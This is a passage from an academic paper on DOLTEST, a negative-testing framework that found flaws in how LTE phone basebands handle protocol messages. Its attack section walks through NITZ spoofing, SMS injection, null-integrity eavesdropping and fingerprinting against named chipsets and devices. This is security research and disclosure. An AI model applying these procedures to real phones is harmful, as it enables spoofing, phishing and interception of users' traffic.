UE should behave if it receives the test message. Then, we
check whether the current response is standard-compliant or
not. If the specification allows this test case as an exception,
we eliminate this case from the over-approximated set be-
cause it is actually a positive case. Otherwise, we consider
it as an implementation flaw (§6.1) and further analyze its
implication (§7). Finally, we might not be able to figure out
the standard-compliant behavior even after checking the
specification, due to its ambiguity. In such a case, we dis-
cuss with a representative from 3GPP (§6.2) to understand
the standard-compliant behavior.

• If a UE sends a reject or an error message, we further
check whether the specification mandates to use a specific
reject or an error message. If so, we modify the oracle to
regard the correct behavior as sending that message, and
consider other behaviors as non standard-compliant. If a
standard-compliant behavior for the test case is undefined,
we refine our oracle to ignore any reject response. Note that
this unspecified behavior could be used for device finger-
printing, which will be discussed in §6.3.

• If a UE has no response, we further check the UE’s in-
ternal logs for particular message types. These message
types have no response inherently according to the specifica-
tion. Such message types are Attach reject, EMM information,
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and RRC ConnectionRelease. Since these message types can
change the UE’s internal state, we use information from
DM or ADB, which is collected from DOLTEST’s testing
framework to determine whether the messages are actually
rejected (§5.3). If the UE changes its state, similar to the
first case, we investigate the specification related to our test
case and check the standard-compliant behavior. In App. B,
we described the detailed logic for handling these messages.
Except for these three message types, other message types
have explicit corresponding response messages when they
process the transmitted test messages. Thus, for those mes-
sage types, DOLTEST can determine the UE’s rejection of
the messages without monitoring UE’s state.
During the refinement procedure, we successfully handle

messages that return reject responses, including Security Mode

Failure, EMM status, or RRCConnectionReestablishmentRequest.
Moreover, we also eliminate positive cases from our over-
approximation related to Identity Request. Lastly, we refined
three ambiguities in the specification (§6.2) and two types of
unspecified rejecting behaviors (§6.3).

6 Negative Testing Results
We applied DOLTEST on 43 cellular devices from five ma-
jor baseband manufacturers: Qualcomm, Exynos, MediaTek,
HiSilicon, and Intel. We include details for these devices in
Appendix (Tab. 6). Using the guidelines in §5.2, we gener-
ated 1,848 test messages and conducted the test at security
abstracted states in §5.1. In summary, we uncovered 26 im-
plementation flaws using our negative test framework (§6.1).
We also uncovered inconsistent error handling among de-
vices (§6.3). Note that such inconsistencies are legitimate
because they are undefined in the specification; however, they
can also be used for device fingerprinting (§7.2).
Statistics. Among 1,848 test messages, 229 of them have
helped DOLTEST to discover flaws. In addition, 83 test mes-
sages exhibited inconsistent error handling behaviors as de-
scribed in §6.3. For the remaining 1,536 messages, all UEs
handled them without any problems.

6.1 Implementation Flaws
Using DOLTEST’s negative test suite, we could discover 26
implementation flaws. We categorized implementation flaws
into nine types based on the problematic behaviors as shown
in Tab. 2. The numbers in column ‘D’ represents the our
findings on each flaw type.

Tab. 3 shows uncovered implementation flaws on each mes-
sage in each security abstracted state. Due to the space limit,
we leave our full testing results in the Appendix (Tab. 6). Ex-
isting work has shown that some UEs accept a few unauthen-
ticated RRC/NAS messages. While those bugs are patched in
newer basebands, we were able to find new variants thanks to
our extended coverage. We found a total of 22 cases, among
which 4 cases were previously discovered in old basebands.
In addition, owing to the stateful testing that considers the var-

Table 2: Description of implementation flaw types.
S: Security header type mishandling D L B A

S1 Accept invalid security header types for certain message types 5 0 0 0
S2 Accept invalid security header type for certain UE states 3 2 0 0
S3 Mishandle reserved security header type 1 0 0 0

M: Message type mishandling D L B A
M1 Accept prohibited message types before security activation 2 2 0 0
M2 Accept unprotected messages with certain message types 6 0 0 20

after security activation
I: IE/value mishandling D L B A

I1 Accept prohibited IEs 3 1 0 0
I2 Accept prohibited values 3 0 0 0
I3 Mishandle reserved values 3 0 2 0
I4 Mishandle reserved IEs 0 0 47 0

D: DOLTEST, L: LTEFuzz, B: BaseSpec, A: Atomic

ious threat models, DOLTEST uncovered four flaw types (M2,
S1, S2, and S3) in the state where the UE has security con-
text (i.e., post-AKA).

To show the effectiveness of our approach, we compared
DOLTEST with the recent works — LTEFuzz, BaseSpec, and
Atomic — on uncovering baseband implementation flaws.
We directly compare with the results reported in these papers,
excluding design flaws that are out-of-scope of our work. This
is because LTEFuzz [36] and Atomic [15] are not publicly
available, and BaseSpec only supports a subset of our tested
devices. Plus, due to the anonymity, part of the analysis code
for BaseSpec is not publicly available, which makes reproduc-
tion non-trivial. The numbers in right four columns indicate
uncovered implementation flaws for each flaw type. In partic-
ular, the state-of-the-art negative testing tool, LTEFuzz [36]
can only cover three types (S2, M1, I1) finding five implemen-
tation flaws. This is because, unlike DOLTEST, LTEFuzz is
limited to exploring UE states and message components (e.g.,
negative IE/values and security header types). Other works
are specialized in finding specific types of flaws. In particu-
lar, Atomic [15] found 20 flaws of the M2 flaw type, which
are originated from mishandling three message types. Also,
BaseSpec [34] targeted the implementation flaws in message
parsing and found numerous flaws of the I3 and I4 flaw types.
It uncovered 47 flaws of the I4 flaw type, which are originated
from the mishandling of NAS messages having malformed
structure. This type of flaw is out of DOLTEST’s testing
scope. The generated test messages in DOLTEST follow the
defined structure by specifications. Compared to other works,
DOLTEST could uncover the various types of flaws owing to
its over-approximated test case generation and stateful testing.

The exploitability of each implementation flaw heavily de-
pends on its tested state, which is directly mapped to the
threat model. In particular, while the implementation flaws
in NO-SC could be exploited by FBS, the implementation
flaws in other states only can be exploited by MitM or Signal
Injection. Note that each threat model has its own challenges
for conducting the attack(s). The FBS attacker needs to oper-
ate with higher signal strength to lure the victim. Including
the FBS requirement, the MitM attacker requires to maintain
radio configuration is additionally. Signal injection attacker
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Table 3: Implementation flaws on messages. The numbers in parentheses indicate the number of flaws that have the same
message type and states but different details, which results in different implementation flaws. (See §6.1 for the detailed reasons)

Protocol Message State Implication Studied?NO-SC N-SC NR-SC REGI All

RRC

RRCConnectionReconfiguration I1(2)†, I1 M2 - AKA bypass (I1), Location leak (I1,M2) [36], [52]
RRCConnectionRelease - M2 - Redirection attack (M2) [41]
SecurityModeCommand I2†,I3 - - Eavesdropping (I2,I3) [48]
UECapabilityEnquiry - M2 - Information leak (M2) [53]
CounterCheck M1 M2 - Information leak (M2) -
UEInformationRequest M1† M2 - Location leak (M1,M2) [52]
DLInformationTransfer - M2 - - -

NAS

Identity Request I2,I3 - S1,S2(2)

S3

Information leakage (S1,S2,I2,I3) [43]
Security Mode Command I3 - - Eavesdropping (I3) [48]
GUTI Reallocation Command - S1 Identity spoofing (S1), Denial-of-Service (S1) [36]
EMM Information - S1 - NITZ spoofing (S1) [45]
Downlink NAS Transport - S1 - SMS phishing (S1) [43]
Attach Reject S2,I2 - S1 Denial-of-Service (S1,S2,I2) [52]
Attach Accept - - - -

Studied?: Attacks using the message type was previously studied, †: Previously reported

needs to be synchronized to the legitimate eNB, and its signal
strength needs to be higher than 3 dB for the capture effect.

In the following, we discuss implementation flaws that
DOLTEST can discover in detail.

6.1.1 Mishandling security header type

S1: Accept security header types invalid for certain mes-
sage types. The 3GPP specification defines the value of the
available security header types for each message. For example,
the two security header types — integrity protected with new
EPS security context (3) and security header for the Service
Request message (12) — are set to be used only for Security

Mode Command and Service Request, respectively. Therefore, the
other message types should not use these dedicated values
according to the specification (clause 9.3.1 in [4]).

The S1 flaws are uncovered by checking if devices accept
NAS messages having such invalid security header types. We
found that every device using Qualcomm baseband accepts
any NAS message (except two message types) without check-
ing the integrity if the security header type value is set to 3.3

This implies that the adversary can launch all known attacks
on NAS (Tab. 3) by using that particular security header type.
Considering its severity, Qualcomm has assigned a CVE with
a critical security rating (CVE-2019-2289).
S2: Accept invalid security header type for certain UE
states. The specification defines that a UE needs to handle se-
curity header types properly according to its state. Particularly,
in NO-SC, where the security context is not yet established,
a UE should discard a message with the security header types
— integrity protected (1) or integrity protected and ciphered
(2) — because UE cannot calculate a valid MAC. Moreover,
a UE should not accept a message with the security header
type not security protected (0) after the security context is
established (clause 4.4.4.2 in [4]).

DOLTEST discovered three vulnerabilities when handling

3Because we reported this issue in early 2019, the issue was patched on
devices released after that.

Identity Request and Attach Reject. In particular, we found
that iPhone 6 and Galaxy Note 5 responded to any Identity

Request whose security header type is 1 even before the se-
curity context is established (i.e., NO-SC).4 This causes in-
formation leakage because these UEs send privacy-critical
identities (e.g., IMEI or IMEISV) in NO-SC.

Moreover, we discovered that many UEs respond to the
message with security header type 0 after N-SC. Our neg-
ative testing shows that devices with Exynos (all), devices
with MediaTek (all), and devices (LG and Samsung) with
Qualcomm baseband contain this implementation flaw. When
these devices receive a plain Identity Request after N-SC,
they respond to it with an Identity Response message that con-
tains the IMSI. Note that this bug only appears in Identity

Request message when Identity type 2 IE is set to the reserved
value (0). It also violates a standard because UEs should
not accept plain messages after N-SC. Previous work has
shown that some UEs mishandle the IE value on Identity

Request [43]. However, our result shows that mishandling an
invalid security header type also leads to the same problem.
S3: Mishandle reserved security header type. The specifi-
cation does not define usages for security header types from 6

to 11, which are reserved for future extension. Plus, if a UE
receives security header types ranging from 13 to 15 in a mes-
sage, it should interpret those as 12, which is dedicated to the
Service Request message (clause 9.3.1 in [4]).

DOLTEST discovered that some UEs violate the afore-
mentioned behaviors in the specification (S3). We found that
all tested UEs have no problem when the security header
types are 6–11; they discard all messages with the header
types. However, we found that several UEs fail to handle
other reserved security header types. Particularly, devices with
Qualcomm (all produced before mid-2017) and one Huawei
baseband send an EMM Status message when they receive a
message with security header type 12. By contrast, they do

4iPhone 6 with the old firmware (iOS 12.1) does not have this flaw,
whereas the same model with the latest firmware (iOS 12.5.1) has.
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not respond to messages with security header type 15. In other
words, the UEs behave differently to messages with those two
security header types, which should be the same. Meanwhile,
other devices do not respond to messages with those security
header types, conforming to the standard.

6.1.2 Mishandling message type

M1: Accept prohibited message types before security ac-
tivation. The cellular system is designed to expose minimal
information before security activation. Hence, the specifica-
tion prohibits to process of certain message types depending
on the security context. Thus, UEs should not accept those
message types in NO-SC (clause 5, Annex 6 in [7]).

We discovered that many UEs accept two prohibited
message types in NO-SC. First, all devices with the
Exynos baseband accept a CounterCheck and respond with
a CounterCheckResponse. Second, devices with MediaTek (1
device), Qualcomm (2 devices), and Exynos (all) base-
bands accept a UEInformationRequest and respond with
UEInformationResponse. Although M1 was widely tested in pre-
vious works [36,52,53], we newly uncovered implementation
flaws on CounterCheck. The flaw in UEInformationRequest was
previously known, but we were still able to find multiple un-
patched devices.
M2: Accept unprotected messages with certain message
types after security activation. Once the security context
is established, certain message types should only be used in
integrity-protected messages. Thus, UEs should discard these
messages if their integrity check fails after NR-SC (clause
5.3.1.2 in [7]).

DOLTEST also found that several UEs accept unprotected
messages with zero MAC even after NR-SC. In particular,
we observe that devices with Qualcomm (2 devices) baseband
accept every unprotected RRC messages types after NR-SC.
Due to this fatal implementation flaw, an attacker can spoof ev-
ery NAS/RRC message even after NR-SC. Previous studies
found these bugs only in NO-SC.

6.1.3 Mishandling IE and value.

I1: Accept prohibited IEs. The specification prohibits a UE
to handle the messages that contain security-critical IEs in
NO-SC and N-SC. Thus, the UE should not accept messages
containing prohibited IE in a specific state (clause 5 and
Annex 6 in [7]).

We found the I1 flaws in five test devices that accept
three forbidden IEs. These IEs are used for establish-
ing signaling bearer 2 (srb-ToAddModList), data bearer (drb-
ToAddModList), and requesting signal measurement report from
UE (measConfig). In particular, three devices with the Qual-
comm baseband incorrectly accept a message with the first
two IEs. DOLTEST newly discovered the bug associated with
the first IE. Also, DOLTEST found that two devices with
the latest Exynos baseband accept measConfig IE and send
Measurement Report to the network. Interestingly, even though

this vulnerability was patched in 2016, it has been introduced
again in the latest version. It shows that we require negative
testing to prevent such regression bugs.
I2: Accept prohibited values. The standard also explic-
itly prohibits the use of certain IE values in N-SC (sub-
clause 4.4.4.2 in [4], 5.3.1.2 in [7]). We uncovered three
implementation flaws of this type in six test devices: i)
Identity Request message containing an IE value to request
the UE’s privacy-sensitive identity (IMEI and IMEISV), ii)
Attach Reject whose reject cause is set to #25, iii) Security

ModeCommand in RRC, which contains null integrity protection
algorithm (EIA0).

In particular, we found that the two devices with the lat-
est Exynos baseband accept the EIA0 value in Security Mode

Command in RRC, which is explicitly prohibited by the standard.
Note that the same bug was found in the USB dongle with the
Huawei baseband previously [48]. Of note, none of the other
basebands from the same manufacturer had this problem. We
got high severity from Samsung for this vulnerability.
I3: Mishandle reserved values. The specification contains
reserved values, whose operation is not clearly defined. Thus,
we analyzed UE’s behavior against messages with reserved
values.

Our negative testing exposed implementation flaws of I3
in three IE values. First, UE mishandle reserved security
algorithms in NAS and RRC. The security algorithm is a
3-bit value indicating the security algorithm type for the se-
curity context; the value from 0 to 3 have dedicated algo-
rithms, whereas the values from 4 to 7 are reserved. We found
that devices with Qualcomm (two) and Exynos (one) accept
security mode command with these reserved values and respond
with security mode complete containing zero MAC. This im-
plies that those devices nullify the integrity protection on the
control plane, which results the same security problem to the
use of prohibited value EIA0 (clause 4.4.4.1 in [4], clause
5.3.1.2 in [7]). Second, we also discovered inconsistency
among devices in handling the Identity Request message. In
particular, if a device receives the Identity Request message
whose identity type 2 value is zero, devices with Huawei
and Intel baseband had no response, whereas other devices
respond it with Identity Response containing IMSI. By further
referring another specification document, we found that the
latter is correct implementation because the reserved value 0

should be interpreted as IMSI (clause 10.5.5.9 in [3]).

6.2 Ambiguous Statements in Specification
During our research, we found that the specification contains
ambiguous or often conflicting statements, which could be
interpreted in multiple ways. In particular, we had to dis-
cuss three issues with a representative from 3GPP SA3 to
understand the exact intention and historical meaning of the
specification. We briefly summarize our discussion below.
CounterCheck. We found that the specification states the
handling of the CounterCheck message differently in two parts.
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In the RRC specification [7], the table in the appendix (An-
nex 6) specifies that the UE should not accept unprotected
CounterCheck, whereas the procedure description in the body
(clause 5) does not prohibit it. Due to this inconsistency, it
is ambiguous whether accepting a CounterCheck message be-
fore security activation is prohibited. Meanwhile, another
specification spells out that CounterCheck and its response are
integrity protected (clause 7.5 in [6]). According to the rep-
resentative, Annex 6 is an "informative" annex, so it does
not mandate integrity protection of CounterCheck. However,
he added that because the CounterCheck message is used to
verify the amount of data sent/received, it is nonsense to use it
before the data bearer activation (i.e., before REGI). Should
this prohibited? Except Samsung, everyone does (§6.1.2).
UECapabilityEnquiry. We also found that it is ambigu-
ous to determine the correct operation of UE against
UECapabilityEnquiry. This is because this behavior is written
only on the network-side without clearly defining the UE’s
behavior. The specifications after v15.9.0 say that "E-UTRAN
should retrieve UE capabilities only after AS security acti-
vation" for the UECapabilityEnquiry message. This means that
eNB can request the UE’s radio capability information only
in NR-SC and REGI. However, it is unclear that what UE
should do when it receives such a message in NO-SC. Inter-
estingly, our test results show that all UEs respond in NO-SC.
Meanwhile, a previous work regards such unauthenticated
UE capability [53] as a security vulnerability in terms of
information leakage.

The representative said that the specification does not ex-
plicitly prohibit the UE to transmit UE capability to eNB
before security activation, but only recommends to prohibit.
This is because the term "should" means it is highly rec-
ommended but not mandatory, whereas "shall" means it is
mandatory, according to the specification drafting rule [1].
Also, he added that considering security implications of unau-
thenticated UE capability transfer procedure, the standard
body tried to prohibit the use of UECapabilityEnquiry before
security activation by using the term "shall." However, due to
the performance optimization issue, some network equipment
manufacturers opposed the prohibition. Because the current
standard allowing exceptional cases with the term "should" is
the result of a compromise, UE capability transfer before se-
curity activation is not an implementation vulnerability. As a
result, we exclude this message during the refinement process.
Identity Request. Lastly, we found an ambiguous descrip-
tion for the Identity Request message that contains a reserved
value. According to the NAS specification, 1) a UE can re-
spond to a plain Identity Request message if request iden-
tification parameter is IMSI before security activation [4].
Concurrently, another specification [3] indicates that 2) the
UE should interpret the reserved value as IMSI [3]. Our test-
ing revealed that UEs with Huawei or Intel baseband did not
respond to the plain Identity Request message containing the
reserved value. When we reported this issue to the Huawei

PSIRT (Product Security Incidence Response Team), they
argue that having no response is correct behavior, because
they think the reserved value is not exactly an IMSI parameter.
If it is, they argue that statement 1) should have referred the
statement 2). However, according to the 3GPP representative,
having a response with IMSI is the correct behavior.

6.3 Unspecified Behaviors in Specification
During the test, we observed that devices exhibit inconsis-
tent behaviors when handling the same messages. Unlike the
previous implementation flaws, these inconsistencies are all
legitimate because they are unspecified in the specification.
However, we believe that such inconsistencies can be used to
fingerprint devices, which will be shown in §7.2. After inves-
tigating these issues, we summarized them into two types.
Implicit vs explicit reject. UE’s rejecting behaviors can be
divided into two types: implicit reject and explicit reject.
In particular, UEs can silently drop a message without any
action if the message is prohibited or invalid (implicit re-
ject). In contrast, they can use certain messages to report
errors, which include Security Mode Reject, EMM Status, and
RRCConnection ReestablishmentRequest (explicit reject).

We found that rejecting behaviors for certain messages are
different depending on manufacturers. For example, devices
with Huawei baseband send EMM status when they receive
a NAS message with invalid security header type 3. How-
ever, devices with old Qualcomm baseband send the message
when they receive a NAS message with reversed security
header type 12 instead of 3. Meanwhile, devices with Medi-
aTek, Exynos, Intel, and recent Qualcomm basebands never
send that message during our test.
Different causes in explicit reject. We discovered that de-
vices use different causes to report an error. These causes
offer a detailed description of the erroneous circumstances.
For example, we found that when devices receive NAS Security

Mode Command message with null integrity protection, devices
with MediaTek baseband use cause #23 (UE security capabil-
ities mismatch), whereas others use cause #24 (security mode
rejected, unspecified). This implies that the UEs regard the
reason for the error differently for the negative messages.
Fundamental reasons for inconsistencies. We argue that
the fundamental reason for this inconsistent behavior among
test devices is the lack of specifications for handling invalid
or prohibited messages. In other words, the specification does
not clearly define whether to use error messages or which
causes to use when the UE receives certain invalid or prohib-
ited messages. Thus, handling undefined error cases is up to
the developers, leading to different implementations for man-
ufacturers. Meanwhile, these inconsistencies enable device
fingerprinting attacks (§7.2).

7 Attack Scenarios
In this section, we introduce several representative attacks
that can be performed using the implementation flaws dis-
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cussed in §6. The complete list of possible attacks is shown in
Tab. 3. We implemented each attack on a testbed by slightly
modifying srsLTE [24] with USRP B210/X310 and validated
them on COTS UEs.

7.1 Attacks using Implementation Flaws
7.1.1 NITZ (Network Identity and Time Zone) spoofing

In this attack, an FBS attacker can manipulate the date, local
time, UTC offset, network name, and daylight saving time of
the victim device [45].
Vulnerability. An attacker can bypass security protection ver-
ification by altering a security header type to 3 (S1). Under
normal circumstances, this message should be transmitted
with proper security protection. Although we validated this at-
tack on a Xiaomi Black Shark, all devices with the Qualcomm
baseband prior to the Snapdragon X24 are vulnerable.
Attack Procedure. When the victim UE is connected to a
malicious eNB, the attacker sends an EMM Information message
with security header type 3 containing a manipulated time
or date. Although the EMM Information message contains an
invalid MAC value, the victim UE accepts the message.
Impact. When a UE receives this message, it updates its date
and time based on the message data, which are controlled by
the attacker. This attack is valid while the victim is connected
to the FBS. However, if the UE reconnects to the network
through Service Request, this attack can be sustained because
the EMM Information message is optional in this process, unlike
Attach Request. Note that we have not seen the message in the
Service Request process of our commercial network.

7.1.2 SMS injection

The goal of this attack is to deliver an SMS with manipulated
sender ID, timestamp, and text content. The signal injection
attacker can execute this on a victim UE connected to com-
mercial networks.
Vulnerability. An attacker can perform this attack by combin-
ing two vulnerabilities. She first uses the vulnerability (M2)
that some devices do not check security protection for RRC
messages even after the security activation. Using this, the
signal injection attacker can make a UE in REGI state to
receive a plain RRC message. Then, the attacker can bypass
the NAS security context by using the second vulnerability
(S1); UEs accept some NAS messages without protection if
we use the security header type 3. We validated this attack on
Galaxy S4/S5 with a Qualcomm baseband.
Attack Procedure. The attacker first creates an SMS PDU en-
coded in GSM 03.40 format [2] containing malicious contents.
She then encapsulates the PDU into a plain DL Information

Transfer message containing Downlink NAS Transport with se-
curity header type 3. Afterward, the attacker performs a signal
injection attack to transfer the crafted message. To do this,
the attacker additionally needs to know the victim UE’s ra-
dio identifier (RNTI) which can be acquired from identity
mapping [32, 49] using downlink sniffing tools [12, 14, 21].

Table 4: Different responses of devices to negative messages.

Baseband Device Message

#1 #2 #3 #4 #5

Intel Apple iPhone XS · · · A5 ·
Qualcomm Xiaomi Mi Mix 2 · A2 A4 A5 A3
Exynos Samsung Galaxy S10 A1 · A4 A5 ·
MediaTek LG K50 · · A4 A6 ·
HiSilicon Huawei Mate 20 Pro · A3 · A5 ·

• Request– #1: CounterCheck, #2: GUTI reallocation command with security
header type 3, #3: Identity Request with reserved value (0), #4: Security mode com-
mand with security header type 3 and reserved value, #5: EMM information with
security header type 12
• Response– ·: No response, A1: CounterCheckResponse, A2: GUTI reallocation

complete, A3: EMM status with cause #97 A4: Identity Response A5: Security mode
reject with cause #24 A6: Security mode reject with cause #23

Impact. When a victim UE receives this message, it displays
a notification the same way as in the case of a normal SMS.
Owing to security component mishandling, the victim UE ac-
cepts the attacker’s plain message while it is connected to the
commercial network. Because the LTE device still supports
legacy SMS over NAS through the Downlink NAS Transport, it
also accepts malicious SMS messages.

7.1.3 Eavesdropping and manipulating data traffic

In this attack, a MitM attacker can eavesdrop or manipulate
data plane packets between a victim UE and networks [48].
Vulnerability. An attacker can set the null integrity protection
algorithm because the UE accepts the forbidden security al-
gorithm (I2). We validated this attack on Galaxy S10, Note10,
and A71 with the latest Exynos chipset.
Attack Procedure. When the victim UE is connected to the
malicious eNB, the attacker initiates the normal ATTACH proce-
dure with the UE. Although the attacker does not have a valid
key, she can pass mutual authentication and the NAS security
activation procedure by relaying messages from a legitimate
network. Thereafter, the attacker sends an RRC SecurityMode

Command message with EIA0. After that, the UE uses null in-
tegrity protection in its subsequent communication.
Impact. When a device receives a SecurityModeCommand mes-
sage with EIA0, it uses null ciphering and null integrity protec-
tion from a subsequent communication (subclause 5.3.1.2 [7]).
Because the data plane packets of the wireless end are trans-
mitted in plain text in subsequent communication, an attacker
can eavesdrop or manipulate the packets. Note that EIA0, in
which an UE accepts EIA0 (Null algorithm) for the integrity
checking logic, is an old and well-studied issue. However,
DOLTEST uncovered that brand new devices (e.g., Galaxy
S10/Note10/A71) still have the same implementation flaw.

7.2 Fingerprinting
The different behaviors of UEs against the same negative
message enable an attacker to fingerprint the baseband of the
victim device in the wireless domain. To do this, an attacker
can leverage two types of responses from UE: non standard-
compliant behavior (presence of vulnerability) (§6.1) and
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inconsistent error handling (§6.3). During the test, we found
that more than 80 of our test messages can induce those be-
haviors.

As shown in Tab. 4, an attacker can classify devices up to
the baseband manufacturer level using these different behav-
iors. Moreover, it is possible to classify some devices with
Qualcomm, Samsung, and MediaTek basebands up to the
chipset-level, because they have chipset-dependent features.
Once the UE is identified, the attacker can further execute
targeted attacks by combining known vulnerabilities at the
OS-level or baseband-chipset-level [53].

Unlike previous works, our fingerprinting uses inconsisten-
cies in implementations. Previous work used the unauthen-
ticated capability information of users (Attach Request and
UECapabilityInformation) as fingerprint features, which are al-
lowed to be exposed in the air [53]. While the root cause of
previous work is due to flaw of the standard design, recent
standard tries to protect such information from being exposed
before security activation. If UE information is explicitly pro-
tected in the specification, those features cannot be used for
fingerprinting. However, our features remain valid unless the
implementation inconsistency remains.

8 Discussion & Limitations
Adopting NLP. A natural next step seems to adopt the NLP
on analyzing the large-sized and complex specifications for
test case generation. Accordingly, DARPA also has issued
a call for a project [18] that adopts NLP on 3GPP specifica-
tion analysis. Recently, Chen et al. presented a technique to
discover a few particular vulnerabilities by applying NLP on
the specification analysis [15]. While NLP looks promising,
adopting it on generating negative test cases still needs to
address several challenges according to our detailed specifi-
cation analysis. First, it should be capable of extracting the
prohibited procedure from the sentences spread over the dis-
tinct locations. A single sentence does not solely contribute
to extract prohibited operations. During the refinement pro-
cedure §5.4, we had to cross-check multiple sentences to
understand the context of the procedure and to determine the
implementation flaw (§5.4). Note that such a case where the
description of a procedure is scattered far away from each
other is one of the key limitations of the prior work [15]. Sec-
ond, the NLP has to handle ambiguities in the specification.
In §6.2, we discuss three different cases of ambiguities, all
of which seem challenging for NLP to resolve. For example,
we observed that the specification only describes the behavior
in the network-side perspective without clearly defining the
UE’s behavior. In summary, unless the NLP addresses these
challenges effectively, we believe that the manual analysis on
the specification is still required.
Negative testing beyond LTE. Although DOLTEST aims to
find UE implementation flaws in the LTE domain, we believe
that the overall philosophy and approach could be adopted
to the other layers of cellular generations (2G, 3G, and 5G)

after specification analysis. In particular, DOLTEST requires
the following considerations of new features in 5G [5, 10];
the 5G-SA has 1) newly defined messages (e.g., REGISTRATION
REQUEST), 2) newly defined or modified IE (e.g., SUCI) and its
value, and 3) newly added UE’s state. This requires changes
in our security abstracted states because there is a new RRC
state (RRC INACTIVE), where the RRC security context is main-
tained even after the radio connection is suspended. Also, one
can implement a negative testing framework based on the
publicly available 2G/3G open stack, with another substantial
analysis. We leave it as future work.
Limitations. First, DOLTEST inherently requires a lot of
manual effort on its building. This is because the specifica-
tion is written in natural language without being formally
described. However, our approach requires only one-time ef-
forts and can be adopted without duplicating the laborious
manual analysis. Second, DOLTEST cannot guarantee any
completeness because of its manual analysis. Therefore, it
would not be surprising if someone can discover additional
flaws in baseband firmware even after applying DOLTEST.
Third, DOLTEST suffers from inherited limitations of black-
box testing. As blackbox testing, DOLTEST cannot under-
stand the internals of a UE; we simply believe that the UE
rejects messages if it has no explicit behaviors (e.g., responses
or state changes in DM or ADB). However, it is possible that
baseband vendors implement hidden behaviors even though
we have not found any indications for this during our testing.
Finally, DOLTEST relies on internal logs (i.e., DM, ADB)
that are occasionally limited. This is mainly because 1) this
access is proprietary to the baseband manufacturers (e.g.,
Huawei) and 2) the access is not open to all types of UEs (e.g.,
IoT devices). This characteristic limits the negative testing
of DOLTEST in terms of 1) the test coverage (limited test
message types) and 2) the root cause analysis using detailed
internal information (e.g., stored configuration values). We
believe that this limitation will not apply to manufacturers
who adopt the negative testing approach, as they should have
full access to the UE and its debugging capabilities.

9 Related Work
Implementation flaws in LTE. Researchers have widely
adopted over-the-air testing to discover implementation flaws
of the LTE network [36,41,45,48,52]. Shaik et al. [52] studied
security implications when a UE blindly accepts certain pro-
hibited messages due to its implementation or design flaws.
Rupprecht et al. [48] proposed the first testing framework
for LTE baseband and discovered that several UEs accept
insecure security algorithms. Kim et al. [36] introduced a
semi-automatic tool that systematically tests basic security
properties of LTE networks, both in uplink and downlink.
Similar to these works, DOLTEST also aims at discovering
implementation flaws in LTE; however, it widens its coverage
by considering UE states and detailed message components
based on specification.
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Firmware analysis on baseband implementations is also
an effective approach to uncover implementation vulnerabil-
ities [22, 34, 42, 57]. Recently, Maier et al. [42] proposed
emulation-based fuzzing to find memory corruption vul-
nerabilities in UE implementations. Kim et al. [34] exam-
ined the standard-compliance of the baseband software by
comparing extracted binary-embedded properties with the
specification. Unlike DOLTEST, these approaches require
firmware-specific analysis. Moreover, static analysis (e.g.,
BaseSpec [34]) can suffer from false positives due to mispre-
diction of runtime environments.
LTE attack models. Fake Base Station (FBS) has been a
predominant attack model for exploiting design or implemen-
tation vulnerabilities in LTE, such as IMSI catching [17, 44],
fake emergency alert [38], or information leak [53]. Recent
works have demonstrated the practicality of MitM attack in
LTE networks [48, 49]; Rupprecht et al. [49] successfully
demonstrate data manipulation attack by exploiting the ab-
sence of integrity protection in layer 2. Moreover, Yang et
al. [59] presented the SigOver attack, which enables an ad-
versary to inject a malicious message to the victim’s UE even
without a radio connection establishment. To reflect these
emerging attacks in our negative testing, DOLTEST adopts the
most powerful attack model, which is the Dolev-Yao model,
and considers every attack model in our abstracted states.
Design vulnerabilities in LTE. Formal verification has
shown its effectiveness in uncovering design flaws in the stan-
dards [13,29,31]. Hussain et al. [29] presented a model-based
adversarial testing approach on critical procedures of LTE to
detect design flaws. Moreover, Karim et al. [33] adopted a
property-guided formal verification framework to examine
LTE implementations. Unlike these works, DOLTEST targets
finding non standard-compliant behaviors in implementations.
Some other works also have revealed numerous design vul-
nerabilities in LTE, including LTE data plane [37, 51], broad-
cast channel [23, 30, 38], identity mapping logic [32, 49], and
VoLTE domain [35, 39].
Operational issues in LTE. Various works have uncovered
operational issues by analyzing the control plane procedures
in the cellular network [16,27,28,37,47,50,56]. These works
span various applications and use passive analysis on commer-
cial logs. Tu et al. [56] proposed a signaling diagnosis tool to
examine inter-protocol interactions. Hong et al. [27] revealed
an unsafe identity management scheme of the commercial
network, resulting in privacy leakage. Chlosta et al. [16] ana-
lyzed the security configuration of commercial LTE networks.

10 Concluding Remarks
Despite numerous implementation vulnerabilities reported, a
lack of negative testing in specification still leaves other im-
plementation vulnerabilities unchecked. To address this, we
present DOLTEST, a negative testing framework to uncover
the non standard-compliant behaviors in LTE implementa-
tions. After in-depth analysis of the specification, we build

enumerable test cases with deterministic oracle along with the
over-the-air testing tool. As a result, we applied DOLTEST
on 43 devices from five baseband manufacturers and uncov-
ered 26 implementation flaws, of which 22 were previously
unknown. We also found several ambiguous and unspecified
cases in the specification that can confuse even experienced
professionals. We recommend 3GPP to provide formally ver-
ified standards possibly with sample code and negative test
cases as a fundamental resolution to address this problem. Un-
til then, applying NLP for automatic test case generation is left
as an interesting yet formidable challenge for the future work.
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Appendix
A LTE Attack Models
We discuss representative LTE attack models in detail.
FBS mimics a commercial cell tower to lure nearby cellular
devices by operating at a high radio signal power. After a
radio connection is established between the malicious base
station and a victim device, it transmits an adversarial message
to the UE. Because the FBS attacker does not have valid
information to accomplish the AKA procedure with the UE,
she can transmit the control plane messages only before the

UE establishes the security context. Most previous attacks [29,
36, 38, 41, 48, 52, 53] have adopted this threat model, which
includes IMSI catching, UE capability hijacking, and fake
emergency alerts.
MitM Although an MitM attacker operates a malicious base
station as an FBS attacker, she establishes additional radio
connections with a legitimate eNB after a victim connects.
For a legitimate eNB, the attacker impersonates the victim
UE by relaying the victim’s messages. Likewise, the attacker
impersonates the legitimate eNB to the victim UE. MitM
attacker can transmit adversarial messages to the victim UE
even after the UE establishes the security context. This is
because the MitM attacker accomplishes the AKA procedure
by relaying authentication messages of the eNB and the UE.
Although the attacker can transmit messages anytime, she can
only transmit messages with invalid security protection due
to the absence of security keys. Several works [48, 49] have
utilized this threat model.
Signal Injection is an intuitive threat model introduced by
SigOver attack [59]. Rather than establishing a radio connec-
tion with the victim, the signal injection attacker precisely
overwrites the signal containing an adversarial message in the
physical domain. Unlike the above threat models, the attacker
neither requires the victim UE to connect to her FBS nor to
relay messages between UE and an eNB. Similar to the MitM
attack, the signal injection attacker can inject adversarial con-
trol plane messages to the victim UE at any time. The attacker
can pass the authentication procedure by allowing the victim
